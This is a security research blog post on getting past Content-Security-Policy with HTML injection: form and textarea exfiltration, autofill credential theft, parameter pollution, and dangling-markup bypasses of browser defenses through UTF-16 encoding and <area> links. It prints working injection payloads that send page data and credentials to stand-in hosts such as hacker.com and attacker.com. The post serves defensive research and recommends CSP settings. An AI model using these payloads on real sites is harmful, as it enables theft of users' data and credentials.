form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP
The Content-Security-Policy is used to protect applications against content injections such as XSS and HTML injections. It is a widely adopted and crucial security standard. Very often, XSS vulnerabilities become useless because of the CSP.
This post will demonstrate that content injections can still be exploited regardless of having a Content-Security-Policy in place.
This post will begin by showing that very often the Content-Security-Policy is not adequately configured. Due to these super common configuration flaws, applications often remain vulnerable to lethal attacks.
Sometimes, even if the Content-Security-Policy is configured as suggested by the recommendations and reference manuals, the application can still be exploited with content injections.
At the end of this post, a form-action Content-Security-Policy will be exposed. This bypass allows attackers to exfiltrate information from users' accounts despite of facing an adequately configured Content-Security-Policy. This attack doesn't rely on misconfigurations and works in a lot of scenarios.
Browsers' security defenses against dangling markup attacks were bypassed too: Dangling markup attacks were very powerful content injection attacks that came in useful in situations where script execution is not allowed (e.g. blocked by the CSP). Because of this, browsers now have security defenses that block dangling markup attacks. Due to this mitigation, these attacks became dead and useless. The post will show how to bypass these browsers' security defenses, resurrecting dangling markup attacks back from the dead. With one of these bypasses it is possible to exploit content injection vulnerabilities even when facing the strictest CSP configurations (e.g. everything set to 'none': default-src 'none'; form-action: 'none').
Another one of these bypasses is a UTF-16 character encoding attack useful for bypassing browsers' security validations.
Possibly this post will help transform those worthless code injection bugs into exploitable vulnerabilities.
The forgotten directive
Apparently there is a lot of ignorance regarding the use of the form-action directive. In many websites it is not used at all (~66% of a sample study), it seems that it is not considered a very important Content-Security-Policy directive, but the consequences of not using it are lethal.
Even further, in most cases websites that do use the form-action directive don't know how to use it correctly. Because of this, usually it is possible to exploit markup injection vulnerabilities despite the CSP.
The default-src directive is usually used as the default fallback value for directives that weren't explicitly specified in the Content-Security-Policy configuration. However there are 5 directives that are not covered by default-src:
form-action
base-uri
frame-ancestors
sandbox
report-uri
It is important to explicitly specify these directives but, as you'll see in the following statistics, the form-action directive is often left unspecified; this is a big mistake as it leaves the web app vulnerable to a number of powerful HTML injection attacks.
The post will also demonstrate ways in which the application can still be exploited even if the form-action directive is specified. Suggestions will be given in how to have better configurations to prevent these types of attacks. However, there will be cases in which the application can still be exploited regardless of strict configurations. The thesis is that the CSP alone is sometimes not enough to mitigate mark-up injections.
Data exfiltration through forms
Even though script execution might be correctly mitigated by the CSP, if the form-action directive is not specified, it will still be possible to exfiltrate the information in the page with <form> injections.

A <form> tag and a <textarea> tag are injected, along with a submit button that has some very effective CSS style code.
The unclosed <textarea> tag will consume all the information after itself. The consumed data will be sent to an external domain controlled by the attacker when the form is submitted.
A little of inline CSS code is used to make the form submit button invisible and to make it as big as the whole document; this will deceive the user into submitting the form whenever any element in the page is clicked. Click here to see a DEMO
Therefore, it is very important to always declare the form-action directive to prevent injected forms from exfiltrating the information in the page.
But the reality is that the form-action directive is often not declared.
Of out of a sample of 31 websites (consisting of some of the most popular websites and other high-profile sites such as banks and security-vendors) ~61% of them don't use the form-action directive. ~32% of them have it set to 'self'. ~6% of the sites have it set to a specific domain (which could be the same as setting it to 'self').

It is worth emphasizing that 100% of them have style-src set to 'unsafe-inline' or left it undeclared. Making use of CSS via the style attribute is super super useful in many attack scenarios (where user-interaction is needed) for clickjacking as it has already been demonstrated.
Exploiting autofill to leak login credentials
What if there's a markup injection in the page but there's no valuable information in it?
The browser's password manager has a list of the domains where login credentials have been saved. Whenever the browser renders a page with a <input type='password'> , it assumes the page has a login form and, if the site's domain is listed in the password manager, the login will be automatically filled with the saved credentials.
The issue is that the password manager only verifies the domain name and doesn't care about the specific URI where the login form is located, so the login form is autofilled regardless of where it is.
If there is a HTML injection in a page that has no sensitive information to be exfiltrated, it is possible to inject a <form> with 2 input fields: a text input field and a password input field. When the browser renders the input fields, the form is going to be automatically filled with the user's saved credentials associated with that domain. The credentials will be leaked whenever any element in the page is clicked.

It is only a matter of using the hidden attribute in the <input> tags to make them invisible, and of styling the submit button to hijack the click.
Video DEMO
The cracks in the form-action directive
It has already been demonstrated why it is imperative to declare the form-action directive. However, when it does get used, the way in which it is used 99% of the time still leaves the application vulnerable to exploitation.
Most of the time, whenever form-action is used, it is set to 'self', preventing forms to be submitted to external domains. Sometimes, forms are allowed to be sent cross-origin to certain specific domains.
In both cases, the following attacks are still possible:
- Overwriting user input with parameter pollution
- Same-Site Request Forgery
Overwrite input with parameter pollution
By injecting input fields with name attributes equal to the authentic input fields' in the form, it might be possible to overwrite the values entered by the victim, thus tampering the submitted information.

Duplicating parameters is known as parameter pollution (as initially termed by Stefano Di Paola). The way duplicate parameters are processed is framework-specific. Some of them use the first parameter and others the last, others concatenate the values. The following resource shows how different frameworks handle request parameters:
https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89
If the code injection occurs after the <form> tag, it is still possible to associate input fields to the form if the <form> tag has an id attribute:

Hijacking CSRF tokens

This is basically a Same-Site Request Forgery. The form action gets overwritten so the data is submitted to a different module of the application, along with injected hidden parameters. The page's authentic CSRF token makes the attack possible. The rest of the original parameters are ignored in most cases.
It seems like setting form-action to 'self' is not enough. It would be better to have path-specific form-action directives for each authentic form that belongs to the application.
form-action https://hack.me/user/form_one.html
The protocol should be added too. If only the domain is specified the user can be fooled into submitting the form over an insecure channel by using http: instead of https:

It seems that using content injection to conduct parameter pollution attacks cannot be mitigated through any HTTP header as for now. Even if each form is delivered with a path-specific form-action directive these attacks will still be feasible. It would be a matter of input validation.
Dangling Markup Attacks
Dangling markup injection is a very powerful scriptless attack that is useful when script execution is not allowed.
Sometimes it is possible to inject an HTML element that requests an external resource (such as an image or a stylesheet), and leave an unclosed quote to consume the document's content into the URL in the attribute of the injected element.

When the browser fetches the external resource, the consumed information will leak through the request's URL. The limitation of this attack is that there must be a closing quote for the injected HTML to be valid.

However, as you can see in the next screenshot, some browsers implement defenses against such kinds of attacks. Whenever there is a request that has at least one angle-bracket ( < > ) and a new-line (%0A or %0D), the request is blocked; it looks like the document's source-code is being exfiltrated.

These security defenses are (currently) implemented by Google Chrome and Microsoft Edge. Firefox does allow such types of requests and will let the document leak throughout the URI. Safari, I haven't tested.
In some scenarios, this security defense can be broken. This bypass makes it possible to resurrect dangling markup attacks back from the dead. A dangling markup injection is a very profitable alternative attack when script execution is not possible.
There are 4 ways in which the protection can be bypassed:
- By using data: URLs with <iframe>, <object> or <embed>
- By using a <link> tag with stylesheet code in a data: URL
- By using <area> anchor elements
- Using window.name
Bypass #1: UTF-16 character encoding attack
The first bypass works by using CSS. The url() CSS function is used to make a request that will leak the document through the URL.
In order to avoid detection, the character set encoding of the document is going to be changed so that all the ASCII characters become CJK characters. This way, instead of seeing < and > characters and new-lines (%0A), the browser is going to see Chinese characters.
Changing the character set of the document is possible even if the document has a Content-Type declaration or a <meta charset> declaration. Also, BOM sequences are not needed and can be overridden too.
This can be achieved by using an <iframe> with a data: URL
data: URLs can be used to embed the content of the resource being requested in the URL itself. Instead of linking to an external resource, the URL contains the whole file.
A data: URL can have a document-type and charset declaration:


Now leave the quote of the iframe's src attribute unclosed and see how everything after it gets consumed into the iframe.


Now it's just a matter of changing the character set in the mime-type declaration of the data: URL to UTF-16 and that will do.

Now inject content encoded in UTF-16 so that it is valid code and leak everything out with CSS:
Dangling markup:
<html><body><style>*{background-image: url(http://hacker.com/leak?data=
UTF-16 encode it by placing a null-byte after each character (both little-endian and big-endian byte-orders are supported), then double-encode everything because it is a URL. And that's it, just put everything inside the data: URL
?html_injection=<iframe src='data:text/html; charset=UTF-16, %2500<%2500h%2500t%2500m%2500l%2500>%2500<%2500b%2500o%2500d%2500y%2500>%2500<%2500s%2500t%2500y%2500l%2500e%2500>%2500*%2500{%2500b%2500a%2500c%2500k%2500g%2500r%2500o%2500u%2500n%2500d%2500-%2500i%2500m%2500a%2500g%2500e%2500:%2500 %2500u%2500r%2500l%2500(%2500h%2500t%2500t%2500p%2500:%2500/%2500/%2500h%2500a%2500c%2500k%2500e%2500r%2500.%2500c%2500o%2500m%2500/%2500l%2500e%2500a%2500k%2500?%2500d%2500a%2500t%2500a%2500=
All the consumed data will be interpreted as Chinese characters instead of < > %0A %0D just like in the previous screenshot. The Chinese characters will be automatically encoded to UTF-8 when they are sent through the URL. This results in a different encoding and the original %3C, %3E, %0A characters won't be seen anymore. As a result the request is not blocked anymore.

Now it is only a matter of UTF-8 decoding the URI to get the original data.

Bypass #2: Hacking with style
There are other ways to leak the data; the <iframe> is actually not necessary but it was very useful for the purpose of explaining the bypass, but the same thing can be achieved by using only a <link> tag:

These bypasses have certain constraints. The Content-Security-Policy must allow loading resources via the data: scheme in either style-src, frame-src or object-src.
Also, the URL is being leaked through a background-image property. Loading images from external domains might be blocked by the image-src directive. There are different types of resources that can be fetched as an alternative accordingly to the CSP in question:
image-src
background-image
border-image-source
filter
list-style-image
mask
mask-border-source
font-src
@font-face
style-src
@import
But even though these constraints are quite a limitation, these bypasses are very nice because they do not require user-interaction besides opening the page with the injection. Anyways, the next bypass is free from all of these limitations:
Bypass #3: Target down
This is probably the most harmful attack illustrated in this post. Also, bypassing Google Chrome's and Microsoft Edge's security defenses was extremely easy.
Unlike all the other attacks, this attack always works regardless of very strict Content-Security-Policy configurations such as having everything set to 'none'.
form-action 'none'; img-src 'none'; font-src 'none'; media-src: 'none'; frame-src 'none'; prefetch-src 'none'
Inline style-src is very convenient to have though.
The drawback is that this attack requires one-click from the user. If inline style is allowed (as it almost always is), having any element of the page clicked will do.
It is possible to leak information by using an unclosed <area> element.

The href attribute is left unclosed so that it consumes all the data until a quote is found (" or ' can be used conveniently), however, the page must have a closing quote. Sometimes injected code is output more than once throughout the document so it is possible to tweak the injection so that it closes itself.
Google Chrome and Microsoft Edge have a security defense against dangling markup attacks of this sort. Whenever there is a hyperlink with a URL that has angle-brackets < > and %0A/%0D characters, the link is disabled and clicking it results in no-action.
This was super easy to bypass though, just by adding a target attribute to open the URL in a new tab, the link will be enabled and clickable and the data will be leaked through the URL as soon as any element in the page is clicked. Nowadays links with target="_blank" are not opened in a new window, they are opened in a new tab, so this happens without prompting the user for authorization.
It is super nice that the <area> tag does not need to have any inner text for it to be valid syntax and clickable. Notice how the link still works even there's nothing nested inside the tag because of the CSS used to make the link as big as the document. Click here for a DEMO.
Using an <area> tag instead of a <a> tag is much more convenient because it is not very likely to find a closing </area> tag, so the whole document will be consumed.
In contrast with all the other attacks in this post, this attack cannot be blocked via any Content-Security-Policy directive nor stopped with any Cross-Origin related HTTP header, the Referrer policy is also futile here.
Bypass #4: Using window names
A while ago I made a post about a technique to bypass browsers' defenses against dangling markup injection attacks. Basically it consists of opening a page with an <iframe>, <object> or <embed> tag and consume everything into the name attribute by leaving it unclosed. The window.name can be read from the page loaded in the iframe.
Complete write-up here:
Bypassing Browser's Mitigations Against Dangling Markup Injection
form-action Content-Security-Policy bypass
If the form-action directive is set to 'self' or even restricted to a specific path, the content of the page can still be leaked to any external domain by the use of forms.
The only constraint for this form-action Content-Security-Policy bypass is that the parameter vulnerable to HTML injection must be a GET parameter (if the injection happens to be in a POST parameter, in certain scenarios, the attack vector can be tweaked to make the attack work).
Once an HTML injection is found, a <form> tag and a <textarea> tag are injected into the vulnerable page. The textarea tag is left unclosed to consume all the information that follows.
The form method will be set to GET so that, when the form is submitted, all the data consumed by the <textarea> will be placed in the URL. Then it is only a matter of leaking the URL to exfiltrate all the data.
So how to leak the URL?
In order to leak the URL, a second injection has to be made. This injection can be a <img> tag that requests an external image located in the attacker's domain. When the browser makes the request to the external domain, the Referer HTTP header will leak the entire URL. The referrer policy must be set to "unsafe-url".
<img src="//attacker.com/referrer_leak" referrerpolicy="unsafe-url" />
So, in addition to the <textarea>, the injection will also have an <input> field that will carry the second injection (the <img> tag that leaks the URL). The form will be submitted to the same vulnerable page, the vulnerable GET parameter will be injected with the second injection.
Putting it all together, the injection should look something like this:

In case the Content-Security-Policy is blocking the loading of cross-domain images with the img-src directive, there are other types of resources that might be loaded with a <link> tag:
<link referrerpolicy="unsafe-url" rel="preload" as="font" href="//hacker.com/data_leak" />
<link referrerpolicy="unsafe-url" rel="preload" as="image" href="//hacker.com/data_leak" /><link referrerpolicy="unsafe-url" rel="preload" as="script" href="//hacker.com/data_leak" />
<link referrerpolicy="unsafe-url" rel="preload" as="style" href="//hacker.com/data_leak" />
<link referrerpolicy="unsafe-url" rel="preload" as="track" href="//hacker.com/data_leak" />
<link referrerpolicy="unsafe-url" rel="stylesheet" href="//hacker.com/data_leak" />
URL leak with Refresh.
If default-src is set to 'self' or 'none', and it is not possible to load external resources, it is possible to redirect the browser to the attacker's domain with meta Refresh and leak the URL through the Referer header:
<meta http-equiv="Refresh" content="1, url=http://hacker.com/leak" />
The Referer policy must be declared via a <meta> tag so that the URL query string is disclosed.
<meta name="referrer" content="unsafe-url" />
vulnerable_page.php?html_injection=<form method=GET action=vulnerable_page.php>
<input type=submit value="Leak all the data!" style="opacity: 0; position: absolute; top: 0; right: 0; width: 100%25; height: 100%25;">
<input hidden name=html_injection value="<meta name=referrer value=unsafe-url><meta http-equiv=refresh content='1, url=http://hacker.com/leak'>>
<textarea name=exfiltrated-data>


Pretty much the only way the CSP can be used to mitigate this attack would be to set form-action 'none' (or restrict it to an external domain).
Hyperlink (user-interaction: 2 clicks)
If for any reason it is not possible to use meta Refresh to redirect the browser to the attacker's domain, an <area> invisible hyperlink can be used to induce redirection to the attacker's domain:
vulnerable_page.php?html_injection=<form method=GET action="vulnerable_page.php"><input type=submit value="Leak all the data!" style="opacity: 0; position: absolute; top: 0; right: 0; width: 100%25; height: 100%25;"><textarea name="html_injection"><area referrerpolicy="unsafe-url" href="//hacker.com/leak_data?" style="opacity: 0; position: absolute; top: 0; right: 0; width: 100%25; height: 100%25;">
The dear style attribute makes the attack very feasible. The first click puts all the data consumed by the unclosed <textarea> tag in the URL by using method="GET". The second click is an <area> hyperlink that leaks the entire URL through the Referer HTTP header (referrerpolicy="unsafe_url").
Maybe there are better ways of using CSS for changing the UI in a more compelling way to get 2 clicks, rather than just setting the opacity to 0.
Remember to use the hidden attribute in the <textarea> tag to avoid showing the text-box.
style-src
After examining the Content-Security-Policy of some of the world's 500 most visited websites, it was evident that style-src is almost always so permissive that <style> tags and style attributes are allowed pretty much most of the time.
CSS style code shouldn't be underestimated. There are plenty of high-impact CSS-based scriptless attacks. Once this realization is made, it becomes very apparent that the weakest point in most CSP configurations is style-src since it is possible to exploit applications with CSS attacks very very often.
The attacks are also very clever that it is fun to read about them. These are some resources that illustrate powerful CSS attacks:
Blind CSS data exfiltration by Gareth Heyes
https://portswigger.net/research/blind-css-exfiltration
@sirdarckcat's attribute reader:
http://eaea.sirdarckcat.net/cssar/v2/
@kinugawamasato text node reader:
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
@SecurityMB font ligatures:
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/
@SecurityMB Data exfiltration in Firefox via single injection point:
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing
Pepe Vila recursive imports technique:
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231
@d0nutptr recursive import exfiltration tool:
https://github.com/d0nutptr/sic
Mario Heiderich presentation on scriptless attacks:
https://www.slideshare.net/x00mario/stealing-the-pie
Conclusions
This post described 4 different types of attacks:
Data exfiltration to external domains when the form-action directive is not used
It was demonstrated that using the form-action directive is crucial because many high risk attacks can be leveraged if it isn't used. Many websites don't use this directive.
Possible attacks when form-action is set to 'self' or to a specific path.
Even if form-action is set to 'self', the application remains exploitable to a certain degree.
It was recommended to restrict form-action to specific paths and not only to domain names. However, parameter pollution attacks can still be carried out in such configurations. It is important to deliver form-action 'none' in all pages where there are no forms.
Dangling Markup Injections
These data exfiltration attacks are still possible even when form-action is set to 'none'.
Some of these attacks do not require any user-interaction but they can be blocked by means of other CSP directives such as img-src, font-src and frame-src. The <area> attack requires 1 click from the user but it cannot be blocked by any CSP directive.
Limitations: these attacks do not consume the whole document, and there must be a closing-quote somewhere in the document for the injection to work.
form-action CSP bypass
Exfiltrating data to external domains by the use of forms is still possible even if form-action is set to 'self'. The advantage of these attacks is that they consume the whole document and there is no need to have a closing quote, which means that they work in most situations with a higher degree of effectiveness.
It seems that even in the most strict CSP configurations (e.g. everything set to 'none') content injections can still be exploited thanks to the <area> dangling markup attack. Some browsers have built-in security defenses against these types of attacks but, as it has been illustrated already, these security defenses can be bypassed.
Also, it would be neat if a global referrer policy could be enforced over all types of possible requests. The referrerpolicy attribute can override the Referrer-Policy HTTP header and meta referrer elements as well, if this didn't happen just like with Content-Type declarations, the form-action CSP bypass could be mitigated.
Acknowledgment
Many of the attacks shown in this post have been public since (2011) in Michal Zalewski's (@lcamtuf) website: https://lcamtuf.coredump.cx/postxss/ However, when I came up with the idea of the form-action CSP bypass, I didn't know there was something very similar already published in Zalewski's post. I wanted to write about it because I liked the idea and also because it seems this has gone somewhat unnoticed since 2011. It is super common to find websites that don't use the form-action directive even though high risk content injection attacks are possible without it. Setting form-action to 'none' in pages that don't have forms and a way to enforce the Referrer-Policy over all requests would be recommended.
Zalewski's post also talks about Dangling Markup Injections. However, the attacks he wrote about don't work anymore because nowadays browsers have mitigation's that block these kinds of attacks. So I think the UTF-16 encoding bypass and the <area> target bypass are a very nice contribution since they resurrected these attacks and made them possible once again regardless of browser's security defenses.
I hope you find this useful and are able to make those dead content injection bugs exploitable.
You can follow me on X, Bluesky and infosec-exchange:
https://x.com/ruben_v_pina
https://bsky.app/profile/nzt-48.org
https://infosec.exchange/@ruben_v_pina
2 thoughts on “form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP”
Leave a Reply Cancel reply
Filed under: Uncategorized - @ 2025-01-19 00:39
kml5h6
I love how your write-up is structured; it keeps the reader engaged from start to finish.